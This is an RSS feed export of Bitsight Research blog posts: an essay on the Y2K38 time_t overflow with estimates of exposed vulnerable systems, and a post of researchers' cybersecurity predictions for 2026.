<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:foaf="http://xmlns.com/foaf/0.1/" xmlns:og="http://ogp.me/ns#" xmlns:rdfs="http://www.w3.org/2000/01/rdf-schema#" xmlns:schema="http://schema.org/" xmlns:sioc="http://rdfs.org/sioc/ns#" xmlns:sioct="http://rdfs.org/sioc/types#" xmlns:skos="http://www.w3.org/2004/02/skos/core#" xmlns:xsd="http://www.w3.org/2001/XMLSchema#" version="2.0" xml:base="https://www.bitsight.com/">
  <channel>
    <title>Bitsight Research</title>
    <link>https://www.bitsight.com/</link>
    <description/>
    <language>en</language>
    
    <item>
  <title>Forward to the Past: The Y2K38 Problem Ahead</title>
  <link>https://www.bitsight.com/blog/what-is-y2k38-problem</link>
  <description>&lt;span property="schema:name" class="field field--name-title field--type-string field--label-hidden"&gt;Forward to the Past: The Y2K38 Problem Ahead&lt;/span&gt;
&lt;span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"&gt;&lt;span lang about="https://www.bitsight.com/user/16" typeof="schema:Person" property="schema:name" datatype&gt;Eric Cisternelli&lt;/span&gt;&lt;/span&gt;
&lt;span property="schema:dateCreated" content="2026-01-19T02:45:00+00:00" class="field field--name-created field--type-created field--label-hidden"&gt;&lt;time datetime="2026-01-18T21:45:00-05:00" title="Sunday, January 18, 2026 - 21:45" class="datetime"&gt;Sun, 01/18/2026 - 21:45&lt;/time&gt;
&lt;/span&gt;

    &lt;div class="layout layout--onecol"&gt;
    &lt;div class="layout__region layout__region--content"&gt;
        &lt;div class="block block-layout-builder block-inline-blocktext"&gt;
    
    
          


  

&lt;div class="block-content block-content--type-text block-content--39856 block-content--view-mode-full container text-wysiwyg"&gt;

  
  

          &lt;div class="text-wysiwyg__title"&gt;
      

    &lt;/div&gt;
  
      &lt;div class="text-wysiwyg__body"&gt;
      
            &lt;div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"&gt;
                          &lt;p&gt;Exactly twelve years from now, on January 19, 2038, at 03:14:08 UTC an unpredictable amount of computer systems will think they have been teleported in time more than 100 years, back to December 13, 1901. When that happens, millions of systems across all sectors of society, ranging from consumer products like smartphones, watches, household &lt;a href="https://www.bitsight.com/blog/bitsight-identifies-thousands-of-compromised-security-cameras"&gt;camera security systems&lt;/a&gt;, and car infotainment systems, to more critical devices like payment systems, medical devices, gas stations pumps, and critical &lt;a href="https://www.bitsight.com/blog/the-growing-exposure-of-ics-ot-devices"&gt;industrial control systems&lt;/a&gt;, will suddenly start behaving in unpredictable ways.&lt;/p&gt;

&lt;p&gt;We are talking about a synchronized planetary event with catastrophic potential. I wish there was a way of saying this without sounding some sort of doomsday apocalypse prophet. This isn’t that. And I wish this was some sort of marketing stunt, we would all be better off. But this isn’t that either.&lt;/p&gt;

&lt;p&gt;This will happen. This has a fixed and known date. This is unavoidable. The only thing that we can change and try to control is how big the impact will be. By the time you finish reading this blog post, I hope it becomes clear to you that action is needed and we need to start working toward remediation as soon as possible.&amp;nbsp;To understand the risk, we need to briefly understand where it comes from.&lt;/p&gt;

&lt;h2&gt;What exactly is the Y2K38 problem?&lt;/h2&gt;

&lt;p&gt;It all has to do with a very common (though not the only) way that computers store time: Unix &lt;strong&gt;time_t&lt;/strong&gt;. Don’t be fooled by the name, this is not about Unix, not anymore anyway. Unix time is a way of measuring the amount of time that passed from a fixed date, called the &lt;strong&gt;epoch&lt;/strong&gt;. Unix was already using the “seconds-since-epoch in an integer” model in the mid-1970s. Very early Unix timekeeping experimented with different epochs before settling on the now-standard 1970 epoch. The typedef name &lt;strong&gt;time_t&lt;/strong&gt; crystallized in the ANSI C standard (C89, i.e., 1989) and later POSIX standardization. The Linux man-pages explicitly list &lt;strong&gt;time_t&lt;/strong&gt; C89 as its origin in standards terms. This simple, elegant idea makes tracking and computing with time a relatively simple matter.&lt;/p&gt;

&lt;p&gt;Interestingly, the first edition of the Unix Programmer's Manual (1971) actually defined time as "the time since 00:00:00, Jan. 1, 1971, measured in sixtieths of a second". Why the sixtieth of a second you ask? Because the PDP-11 computer used a "Line-Time Clock" that generated an interrupt at the AC power frequency (60Hz in the US). The frequency of the power grid actually defined time. But that was not quite useful, since this high resolution meant a 32-bit counter would overflow in only ~2.5 years.&lt;/p&gt;

&lt;p&gt;The implementation of this idea eventually settled on &lt;strong&gt;time_t&lt;/strong&gt;, defined as &lt;u&gt;a 32-bit signed integer representing the number of seconds elapsed from 1970-01-01 00:00:00 UTC&lt;/u&gt;. This means that Unix Time spans from integer value -2 147 483 648 or 1901-12-13 20:45:52 UTC to integer value 2 147 483 647 or 2038-01-19 3:14:07 UTC. Dennis Ritchie, co-creator of C, is &lt;a href="https://www.wired.com/2001/09/unix-tick-tocks-to-a-billion/"&gt;quoted to have said&lt;/a&gt;:&lt;br&gt;
”'&lt;em&gt;Let's pick one thing that's not going to overflow for a while&lt;/em&gt;.' 1970 seemed to be as good as any.” So &lt;strong&gt;time_t&lt;/strong&gt; ends on January 19, 2038. What happens next is a rollover, effectively resetting time back to the start: December 13, 1901. Visually, it looks like this:&lt;/p&gt;

&lt;center&gt;
&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2026/01/14/time_t.gif" width="400" height="130" alt="time_t" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;/center&gt;

&lt;h2&gt;How deep does it go?&lt;/h2&gt;

&lt;p&gt;This is a tough one to answer and it is precisely part of the problem. Anything that uses C (or C-derived ABIs) and needs time. If a system is written in C, C++, or links against &lt;em&gt;libc&lt;/em&gt; / POSIX APIs, there is a very high chance it either uses time_t directly or uses something that uses time_t internally. As you can imagine, that includes far more than Unix itself: Linux, BSDs,Solaris, AIX, HP-UX, VxWorks, FreeRTOS, Embedded Linux and BusyBox-based systems, Android (Bionic &lt;em&gt;libc&lt;/em&gt;), are some other operating systems examples that use it.&lt;/p&gt;

&lt;p&gt;But this is just the start. The problem is not even delimited by the operating system at all: core system libraries (including Windows MSVCRT), file-systems, database and data format fields, network protocols, embedded devices, firmware, and other programming languages (Perl, Python, PHP). All those are examples where &lt;strong&gt;time_t&lt;/strong&gt; can manifest itself. The sheer volume of systems reliant on or utilizing &lt;strong&gt;time_t&lt;/strong&gt; across our current planetary installed base is just overwhelming. They are, quite simply, &lt;strong&gt;everywhere&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;Isn't there a quick fix?&lt;/h2&gt;

&lt;p&gt;The good news is that there is a technical fix: &lt;strong&gt;time64_t&lt;/strong&gt;! Instead of using a 32-bit integer, we use a 64-bit integer. Easy. This will also roll over, in approximately 292 billion years (which is many times the current age of the universe), so it will likely buy us enough time to think about another solution. However, replacing &lt;strong&gt;time32_t&lt;/strong&gt; for &amp;nbsp;&lt;strong&gt;time64_t&lt;/strong&gt; in practice requires updating &lt;em&gt;not just code&lt;/em&gt;, but software development toolchains, ABIs, shared libraries, kernels and (frequently) hardware itself. That complexity is precisely where the challenge lies.&lt;br&gt;
Nowadays most systems are 64-bit based and, in theory, are not vulnerable to the 2038 rollover anymore. Good news, right? Reality, it seems, is slightly more complex. Well… considerably more complex.&lt;/p&gt;

&lt;p&gt;The bad news is that there is still a non-trivial amount of systems that are vulnerable to the Y2K38 vulnerability and we don’t know exactly how many or even where they are. Even 64-bit based systems can be vulnerable if they are, for example, using an old 32-bit binary or dataformat. And by non-trivial, we mean millions.&lt;/p&gt;

&lt;h2&gt;What can we see?&lt;/h2&gt;

&lt;p&gt;Leveraging our internal data sources has allowed Bitsight to start to gauge this problem. Measuring the amount of vulnerable systems at scale and with certainty is an extraordinary challenge, given the diversity of systems and the part of their stack that they can be affected. It is impossible to remotely assess all existing systems to begin with: there will be a big part, if not the biggest, that are not connected to the Internet at all.&lt;/p&gt;

&lt;p&gt;But we can assess those systems that are reachable. There will be cases where it is possible to identify with confidence that a system is vulnerable and there will be cases that we need to consider a probabilistic approach. Both approaches help to determine the extent of this problem. Let’s look at some examples of things we can measure. For example, we can scan for server-side services that provide details about the underlying operating system, architecture and protocols.&lt;/p&gt;

&lt;h3&gt;&lt;i&gt;NTP&lt;/i&gt;&lt;/h3&gt;

&lt;p&gt;The Network Time Protocol (NTP) is a critical standard used globally to synchronize computer clocks. It is utilized across a vast range of systems, including critical infrastructure. By analyzing this service, we can sometimes gain visibility into the underlying platform. We took a sample of approximately 1.5 million public-facing NTP services reachable, and out of those, roughly 200 000 provide enough details about their underlying version and architecture to perform a targeted assessment of their Y2K38 vulnerability risk.&lt;/p&gt;

&lt;center&gt;
&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2026/01/14/%20%20ntp-servers.png" width="850" height="299" alt=" ntp servers" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;/center&gt;

&lt;p&gt;Almost 60% of the reporting NTP servers are still running on old 32-bit operating systems. While the exact moment of failure cannot be universally certified without extensive testing, this architecture places them at a high risk of catastrophic failure on January 19, 2038.&lt;/p&gt;

&lt;p&gt;A much more popular service, like web servers, is even more challenging, given that the servers rarely report the underlying architecture. Can you tell if the system is vulnerable to Y2K38 given a HTTP version string? It depends on the server software and version. Take these two examples: Bitsight sees around 900 000 Apache Debian and 500.000 Boa Web servers reachable via the Internet. These are servers that clearly identify with strings like &lt;em&gt;Apache/2.4.61 (Debian)&lt;/em&gt; or &lt;em&gt;Boa/0.94.13&lt;/em&gt;. There might be more that contain no version strings. But let’s focus on these for now.&lt;/p&gt;

&lt;h3&gt;&lt;i&gt;Apache Debian&lt;/i&gt;&lt;/h3&gt;

&lt;p&gt;The Debian Linux distribution is one of the most widely used Linux distributions in the world. There are many more derivatives of this distribution too, like Ubuntu and Mint. One of the things Debian &lt;a href="https://popcon.debian.org/"&gt;publishes regularly is statistics&lt;/a&gt; about the users that choose to share them. These statistics go as far back as 2004, which is really interesting. One of the datapoints gathered is architecture.&lt;/p&gt;

&lt;center&gt;
&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2026/01/14/submissions-per-architecture.png" width="700" height="500" alt="submissions per architecture" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;/center&gt;

&lt;p&gt;This is very useful for our problem, since it allows us to estimate how likely a system is to be running on a 32-bit architecture given how old it is. In fact, sometime around October 2012 was when the 64 bit architecture surpassed 32-bit architecture in terms of numbers:&lt;/p&gt;

&lt;center&gt;
&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2026/01/14/bitness-share.png" width="850" height="451" alt="bitness share" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;/center&gt;

&lt;p&gt;At present day, there is still around 3% of all Debian systems running on a 32-bit architecture. If you correlate this with the date that each Apache Debian version was published, you can get a fair estimate of how many systems exposing HTTP servers are out there: around 76 000.&lt;/p&gt;

&lt;center&gt;
&lt;article class="align-center media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2026/01/14/%20apache-distribution.png" width="850" height="486" alt="apache distribution" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;/center&gt;

&lt;p&gt;In fact, we know that any Linux system in general that is running on 32-bit with a kernel pre 5.6 (first launched in 2020) is vulnerable to Y2K38.&lt;/p&gt;

&lt;h3&gt;&lt;i&gt;Boa Web Server&lt;/i&gt;&lt;/h3&gt;

&lt;p&gt;We stated previously that assessing Y2K38 systems via a web server depends on the server software and version. We described a probabilist approach to Debian linux as a proxy of how many systems are likely vulnerable, which does not translate to Boa Web Server. Boa is a small, fast, single-tasking HTTP web server written in C, created in the late 1990s with a very specific goal: serve embedded systems with extremely limited CPU, RAM, and storage. Boa was the default web UI server for embedded Linux for many years. The official distribution has also not been maintained since… 2005! It is used in routers, modems, IP cameras, DVRs / NVRs, printers, NAS, building management systems, ICS / OT HMIs, and the list goes on.&lt;/p&gt;

&lt;p&gt;Boa almost always runs on 32-bit systems, so finding a Boa webserver exposed will most likely mean finding an underlying Y2K38 vulnerable system. There are around 500 000 of them and these are just the ones we can see connected to the Internet. Curiously, on September 18, 1999, the Y2K38 vulnerability was already acknowledged, in their Y2K compliance page :&lt;/p&gt;

&lt;p style="font-size:11px;"&gt;&lt;em&gt;“Boa is Year 2000 compliant. … The Unix(TM) and Unix-like systems for which Boa is designed generally store dates internally as signed 32-bit integers which contain the number of seconds since 1 January 1970, making the year 2000 irrelevant. On 32-bit computers (and 32-bit data structures, for example in file systems) one boundary to worry about is the year 2038, when that number will roll negative if treated as a signed number.“&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;&lt;i&gt;ICS/OT&lt;/i&gt;&lt;/h3&gt;

&lt;p&gt;The ICS/OT space is one of the most concerning areas when it comes to Y2K38. Unlike consumer devices, which seem to be shipped with programmed obsolescence and frequently replaced, &lt;a href="https://www.bitsight.com/glossary/industrial-control-systems-ics"&gt;industrial control systems&lt;/a&gt; are meant to work for decades. Along with the fact that they control cyber physical processes and are often deployed in our critical infrastructure, this creates an additional concern. Think about this example that we already researched and documented: Automatic Fuel Gauges (ATGs). ATG systems play a role in our critical infrastructure by monitoring and managing fuel storage tanks, such as those found in everyday gas stations. These systems ensure that fuel levels are accurately tracked, leaks are detected early, and inventory is managed efficiently. Although the typical gas station comes to mind when thinking about fuel tanks, these systems also exist in other critical facilities, including military bases, hospitals, airports, emergency services, and power plants, to name a few. We’ve found many &lt;a href="https://www.bitsight.com/blog/critical-vulnerabilities-discovered-automated-tank-gauge-systems"&gt;vulnerabilities in different systems in the past&lt;/a&gt; but last year CISA published some more that are specifically related to Y2K38: CVE-2025-55067 and CVE-2025-55068 (can be found in their respective ICSAs &lt;a href="https://www.cisa.gov/news-events/ics-advisories/icsa-25-296-03"&gt;here&lt;/a&gt; and &lt;a href="https://www.cisa.gov/news-events/ics-advisories/icsa-25-261-07"&gt;here&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;Today, there are between 5 000 to 10 000 ATGs that are exposed worldwide. Most of them are suspected vulnerable to Y2K38, some have been confirmed already. These are the ones that are online and exposed. There are over 120 000 gas stations in the US alone. &lt;a href="https://www.epa.gov/system/files/documents/2024-05/ust-programfacts-may2024.pdf"&gt;According to EPA&lt;/a&gt;, there are approximately 535 000 active tanks at approximately 192 000 facilities which are regulated by the UST program. How many of the half a million tanks have an ATG and how many are vulnerable to Y2K38? We don’t know. And that is a big problem.&lt;/p&gt;

&lt;h2&gt;Why the urgency?&lt;/h2&gt;

&lt;p&gt;The urgency is mostly about time to fix. I know, twelve years seems like a lot of time. But consider the past example of a similar effort that was previously mentioned: The Year 2000 bug. Fixing the Y2K bug was a massive global undertaking that cost hundreds of billions of dollars and spanned over &lt;a href="https://en.wikipedia.org/wiki/Year_2000_problem#Early_attention"&gt;40 years of awareness&lt;/a&gt;, in some form, before its peak in the late 1990s. &lt;a href="https://en.wikipedia.org/wiki/Bob_Bemer"&gt;Bob Bemer&lt;/a&gt; is generally recognized as the earliest documented person to explicitly identify the two-digit year problem and this was in 1958. The brokerage industry began significant fixes in the 1980s to handle bond maturity dates. By 1987, the New York Stock Exchange had already spent over $20 million and hired 100 programmers dedicated to Y2K. The effort involved millions of developers and technicians worldwide. Programmers had to manually review, update, and test billions of lines of code. The panic, however, peaked in 1999, shortly after the creation of the International Y2K Cooperation Center by the UN in December 1998. There was a gigantic effort during the last couple of years leading to the year 2000 and then… nothing happened. Well, not nothing. There were still some issues here and there, but mitigations were largely a success. So much, that it was perceived that maybe the problem was unnecessarily inflated. For example, in Slovenia, the uneventfulness of Y2K was so anticlimactic that a top official was accused of exaggerating the danger and fired from his job. Ironically, its legacy is that its mitigations worked precisely because it was taken so seriously.&lt;/p&gt;

&lt;h3&gt;An understatement&lt;/h3&gt;

&lt;p&gt;Now, when I said &lt;em&gt;a similar effort&lt;/em&gt;, this is a serious understatement. There are several reasons for that and we are going to focus on three major ones: scale, scope and status.&lt;/p&gt;

&lt;h4&gt;Scale&lt;/h4&gt;

&lt;p&gt;The main reason is the shear scale. In 1999, there were around 50 million internet connected systems. Today there are over 30 billion. That is an extraordinary increase, we are talking about more than 600 times increase in less than 30 years. There is no reason to believe that this growing trend will stop in the next decade. And that is just connected ‘stuff’. First we need to figure out what those vulnerable systems are, then we need to figure out where they are installed and how to fix them (if possible). Of course, we can’t just do this in random order, we will need to prioritise. Life supporting systems should not have the same priority of, let’s say, vending machines. But even prioritization can get tricky.&lt;/p&gt;

&lt;p&gt;Take the example of smart TVs: we know (research undergoing) that there are a lot of smart TVs vulnerable to Y2K38. By the end of this year, it is projected that there will be 1 billion (!) smart TVs in the world. Why are they important for prioritization? Well, if they shut down in the middle of your favorite game, that is just unfortunate and annoying. But smart TVs are an information display device and are everywhere, from your living room to your hospital, from your company meeting room to your airport. What if a display stops in the middle of a surgery or a military operation? The device or system itself and how it fails is not enough to decide prioritization, it has to be analyzed in its usage context and the potential cascading effects.&lt;/p&gt;

&lt;h4&gt;Scope&lt;/h4&gt;

&lt;p&gt;Not only is the scale important but also the type of systems more prone to fail: those that use 32-bit architecture. 32-bit architecture is no mere relic of the past, it is still a specialized, high-performance standard that remains the cornerstone of embedded computing, the very 'stuff' that runs our world. Its usage dominates the "invisible" world of microcontrollers (MCUs) in critical sectors like automotive, industrial, building management systems and IoT. 32-bit architectures are still projected to hold a staggering 44% market share in 2026. These systems continue to favor 32-bit designs because they offer toolchains, efficiency, low cost, and a decades-long history of proven reliability in highly regulated fields like aerospace and medicine. We are still producing vulnerable systems today and bury them in our critical infrastructure! This is, besides scale, another reason &lt;em&gt;similar effort&lt;/em&gt; was an understatement.&lt;/p&gt;

&lt;p&gt;Imagine that we need to physically replace a big percentage of existing ATGs, like 50 000. An ATG replacement involves assessing the existing system, securing permits, and scheduling tank downtime, then backing up and removing the old console, probes, and sensors as needed. The new ATG is installed, wired, configured, calibrated, tested for leak detection compliance, inspected by the authority having jurisdiction, and only then returned to service. This takes time and requires specialized technicians, of which there are a finite supply. It also costs money, a lot of money. A rough estimate places this thought experiment exercise at a combined cost of ~$1-1.8 Billion USD, and would require around 3-6 years, with 4-5 years being the most realistic expectation given today’s technician, regulatory, and operational constraints. What about factory floors, how many systems need to be replaced there? And in power plants? Cars? Airplanes? Boats? Submarines? We don’t know and not knowing is a risk we cannot be willing to take. What we know is that the architecture we trusted most to handle complex, critical, real-time tasks is now at the heart of one of the most challenging planetary technological crisis.&lt;/p&gt;

&lt;h4&gt;Status&lt;/h4&gt;

&lt;p&gt;Lastly I would like to mention something that is not usually addressed. We are all assuming we have 12 years before this problem starts to manifest itself. We don’t. It will naturally start to occur sooner as we approach that date, as processes that depend on long time calculations start to fail. But there is a greater subtle threat: manipulating time is not extraordinarily complicated. NTP, the protocol used to synchronize time most systems use, is not a secure protocol. It is easy to spoof or manipulate. GPS signals, used by some NTP servers, cars and other field devices as a source of truth for time, can be easily and cheaply falsified too. Some systems allow for time to be changed remotely in an unauthenticated way.&lt;/p&gt;

&lt;p&gt;What I’m saying is that this can be weaponized by threat actors today. &lt;u&gt;Not in 12 years… today!&lt;/u&gt; We have been conducting tests at our ICS lab and it is definitely possible to manipulate both NTP and GPS to induce Y2K38 related vulnerabilities, crash systems, corrupt logs, deny access to devices and other undesired effects. &lt;strong&gt;And this is why Y2K38 is a vulnerability and not a bug&lt;/strong&gt;. If an attacker has the ability to manipulate time in a device and affect the security CIA triad (confidentiality, integrity and availability), this is a vulnerability by definition. There are also advantages to looking at this as a vulnerability and not a bug. A bug has a JIRA ticket that gets lost in the ticket backlog. A vulnerability has a different status, it should have a CVE and we can leverage several frameworks (CVSS, EPSS, SSVC, &amp;lt;insert favorite one&amp;gt;) that allow for stakeholders to have better communication, understanding and prioritization.&lt;/p&gt;

&lt;h2&gt;Going forward&lt;/h2&gt;

&lt;p&gt;I hope by now that it is clear that the challenge we face ahead is a gigantic endeavor. There will be no single patch and no easy fix. Nobody, no company and not even no country can fix this single handedly. Awareness, cooperation, community and information sharing will prove paramount in our success or failure to handle this at scale.&lt;/p&gt;

&lt;p&gt;You can’t fix what you don’t know. So this seems like a good first step: to identify which systems are potentially vulnerable and where they are. And that is exactly what we at Bitsight are doing. We are developing tools and techniques to aid in this effort. We are gaining understanding of this problem at planetary scale. We are sharing our knowledge and results at security conferences and many other different venues. What about you? What will be your role?&lt;/p&gt;

&lt;p&gt;This is a global challenge and requires an “all hands on deck” approach. If you are curious or working on this problem, we welcome you to engage in an open dialogue to better understand Y2K38 identification, remediation and risk analysis. By sharing knowledge and working together, we can accelerate the solutions we all need.&lt;/p&gt;

&lt;p&gt;Time is critical infrastructure. Proper time keeping and handling must not be underestimated. Without time, there is no trust, no security and no safety.&lt;/p&gt;

              &lt;/div&gt;
      
    &lt;/div&gt;
  &lt;/div&gt;

      &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

</description>
  <pubDate>Mon, 19 Jan 2026 02:45:00 +0000</pubDate>
    <dc:creator>Eric Cisternelli</dc:creator>
    <guid isPermaLink="false">18601 at https://www.bitsight.com</guid>
    </item>
<item>
  <title>4 Predictions Our Researchers Say Could Break (or Break Through) in 2026</title>
  <link>https://www.bitsight.com/blog/bitsight-trace-2026-cybersecurity-predictions</link>
  <description>&lt;span property="schema:name" class="field field--name-title field--type-string field--label-hidden"&gt;4 Predictions Our Researchers Say Could Break (or Break Through) in 2026&lt;/span&gt;
&lt;span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"&gt;&lt;span lang about="https://www.bitsight.com/user/16" typeof="schema:Person" property="schema:name" datatype&gt;Eric Cisternelli&lt;/span&gt;&lt;/span&gt;
&lt;span property="schema:dateCreated" content="2026-01-15T06:22:56+00:00" class="field field--name-created field--type-created field--label-hidden"&gt;&lt;time datetime="2026-01-15T01:22:56-05:00" title="Thursday, January 15, 2026 - 01:22" class="datetime"&gt;Thu, 01/15/2026 - 01:22&lt;/time&gt;
&lt;/span&gt;

    &lt;div class="layout layout--onecol"&gt;
    &lt;div class="layout__region layout__region--content"&gt;
        &lt;div class="block block-layout-builder block-inline-blocktext"&gt;
    
    
          


  

&lt;div class="block-content block-content--type-text block-content--39786 block-content--view-mode-full container text-wysiwyg"&gt;

  
  

          &lt;div class="text-wysiwyg__title"&gt;
      

    &lt;/div&gt;
  
      &lt;div class="text-wysiwyg__body"&gt;
      
            &lt;div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"&gt;
                          &lt;p&gt;As we step into 2026, Bitsight researchers are closely watching key developments across the cyber risk landscape. Their insights reveal a dynamic tension between rising threats and new opportunities to strengthen defenses. Here's what they predict for the year ahead, and what security teams should be prepared to navigate.&lt;/p&gt;

&lt;h2&gt;1. Fragmentation in vulnerability intelligence&lt;/h2&gt;

&lt;p&gt;Bitsight Principal Research Scientist &lt;a href="https://www.bitsight.com/our-team/ben-edwards"&gt;Ben Edwards&lt;/a&gt; came remarkably close with his 2025 prediction, estimating there would be “&lt;a href="https://www.bitsight.com/blog/2025-predictions-for-cve-vulnerabilities"&gt;between 48,675 and 58,956 new CVEs published.&lt;/a&gt;” The actual number (48,185) landed just shy of his lower bound. For 2026, however, he’s turning his attention to a different concern: fragmentation. “The vulnerability ecosystem will continue to fragment,” he predicts. “Different organizations and polities, both within and outside the Western world, are building their own tracking systems independent of CVE and will exert control over how vulnerabilities are reported and scored within their realm of influence. That will make it harder for users to effectively manage vulnerabilities.”&lt;/p&gt;

&lt;p&gt;At the same time, he sees progress on the horizon. "We are finally going to have a better understanding of the correlation between cyber exposures and actual incidents, as the cyber insurance industry matures," Edwards adds. "We’ll be able to say how particular types of exposures (i.e. vulnerabilities, botnet infections, open ports) influence the likelihood and severity of incidents."&lt;/p&gt;

&lt;h2&gt;2. AI everywhere, but not always for good&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.bitsight.com/our-team/pedro-umbelino"&gt;Pedro Umbelino&lt;/a&gt;, Principal Research Scientist at Bitsight, starts with a familiar caveat: “&lt;em&gt;Predictions are hard, especially about the future&lt;/em&gt;.” Still, he’s confident that 2026 will be filled with AI—whether it’s helpful or not: “Think about the Internet, almost everything is online nowadays. But just because we can connect our toilet to the Internet doesn't mean we should. I think we will get a lot of that regarding AI in the next couple of years: discussions on what makes sense versus what ends up happening anyway."&lt;/p&gt;

&lt;p&gt;He’s also watching the IT/OT convergence in manufacturing. “Industry 5.0 is already overlapping with 4.0, expanding the attack surface at a very fast pace,” he explains, “but attackers will likely still be more focused on the IT side: the low-hanging fruit. I’m surprised we haven’t seen more ICS/OT attacks, but maybe that’s because cybercriminals haven’t found a profitable business model for it yet.”&lt;/p&gt;

&lt;p&gt;Looking beyond 2026, Umbelino urges attention to a looming systemic risk: the &lt;a data-entity-substitution="canonical" data-entity-type="node" data-entity-uuid="5e72971a-a25f-4b70-8351-473499974d55" href="https://www.bitsight.com/blog/what-is-y2k38-problem"&gt;Y2K38 problem&lt;/a&gt;, or the Epochalypse. “From the White House to the UN, I’ve had the honor of raising awareness about this issue. People think it’s like Y2K, but we have over 600 times more systems now. By 2038, it could be 1,000 times more. And we don’t have that much more money, time, or people to fix it.”&lt;/p&gt;

&lt;p&gt;He concludes with a note of urgency and hope: “Society is becoming less proactive about long-term risks. Four-year election cycles don’t reward strategic spending. But we really need to get going on fixing Y2K38 while we still can. It’s more a desire than a prediction, but I honestly hope we’ll see some real movement on it this year.”&lt;/p&gt;

&lt;h2&gt;3. IoT and user risk will persist&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.bitsight.com/our-team/joao-godinho"&gt;João Godinho&lt;/a&gt;, Principal Research Scientist at Bitsight, warns that Internet of Things (IoT) threats are far from over: “As the number of IoT devices keeps increasing, and given their questionable supply chains, we'll likely keep more vulnerabilities in these devices. Threat actors will likely continue to take advantage of this to build their botnets for various purposes.”&lt;/p&gt;

&lt;p&gt;He also points to unintended consequences of internet regulation: “We've recently seen multiple occasions where governments have imposed restrictions on internet access, such as the Online Safety Act in the UK or the Online Safety Amendment Act in Australia. As these types of policies become more common, we’ll likely see more users turning to services like proxies and VPNs to bypass restrictions. The concern is that less tech-savvy users may end up compromising themselves by relying on shady proxies that harvest data, or free VPNs that are involved in malicious activity.”&lt;/p&gt;

&lt;h2&gt;4. Critical infrastructure: A double-edged outlook&lt;/h2&gt;

&lt;p&gt;Threat Intelligence Researcher &lt;a href="https://www.bitsight.com/our-team/emma-stevens"&gt;Emma Stevens&lt;/a&gt; predicts continued targeting of essential services: “Threat actors—especially advanced persistent threat groups and nation-state operators—will likely escalate their targeting of critical infrastructure and key resources. The Colonial Pipeline ransomware attack in 2021 is a stark reminder of what’s at stake; it shut down fuel operations and disrupted supply chains across Northern Virginia. More recently, the breach at the Municipal Water Authority of Aliquippa highlighted how exposed and under-defended water systems can be. Outdated infrastructure, exposed ICS/OT devices, and unpatched systems continue to give attackers ample opportunity.”&lt;/p&gt;

&lt;p&gt;However, she thinks these high-profile incidents could also serve as a wake-up call. “They’re pushing the industry to strengthen its defenses. Regulatory scrutiny is increasing, security frameworks are evolving, and organizations are finally starting to modernize their ICS/OT environments,” she adds. “As a result we’ll hopefully see more proactive strategies, stronger response plans, and deeper investments in resilience, which will make these critical systems harder to compromise.”&lt;/p&gt;

&lt;h2&gt;Preparing for a complex year ahead&lt;/h2&gt;

&lt;p&gt;From fragmented vulnerability ecosystems to AI overreach and the persistent risks of outdated infrastructure, 2026 is poised to test even the most mature security programs. But it's also a year of opportunity.&lt;/p&gt;

&lt;p&gt;At Bitsight, our researchers work deep within proprietary data to cut through noise and uncover actionable intelligence—emerging vulnerabilities, systemic weaknesses, and infrastructure risks that matter most to security practitioners and leaders alike. Catch up on the latest &lt;a href="https://www.bitsight.com/trace"&gt;Bitsight TRACE research&lt;/a&gt;, and stay tuned throughout the year to see what they discover next. (And how our predictions hold up.)&lt;/p&gt;

              &lt;/div&gt;
      
    &lt;/div&gt;
  &lt;/div&gt;

      &lt;/div&gt;
  &lt;div class="block block-layout-builder block-inline-blocklibrary"&gt;
    
    
          
&lt;div class="block-content block-content--type-library block-content--39791 block-content--view-mode-full"&gt;
  
  
  &lt;div class="block-content__content"&gt;
    
            &lt;div class="field field--name-field-block field--type-entity-reference field--label-hidden field__item"&gt;
                          








  



  




  




  




  


  
&lt;div class="card--without-header block-content block-content--type-card block-content--34641 block-content--view-mode-default card--media-size--regular"&gt;
  
  
  
  &lt;article class="card  background--brand-charcoal"&gt;
    &lt;div class="card__inner-wrapper container "&gt;

                        &lt;div class="card__media"&gt;
            &lt;div class="card__media-screenshot"&gt;
              &lt;div class="card__circle-container"&gt;
                &lt;span class="card__circle"&gt;&lt;/span&gt;
                &lt;span class="card__circle"&gt;&lt;/span&gt;
                &lt;span class="card__circle"&gt;&lt;/span&gt;
              &lt;/div&gt;
            &lt;/div&gt;

            &lt;div class="media-wrapper "&gt;
                              
      &lt;div class="field field--name-field-media field--type-entity-reference field--label-hidden field__items"&gt;
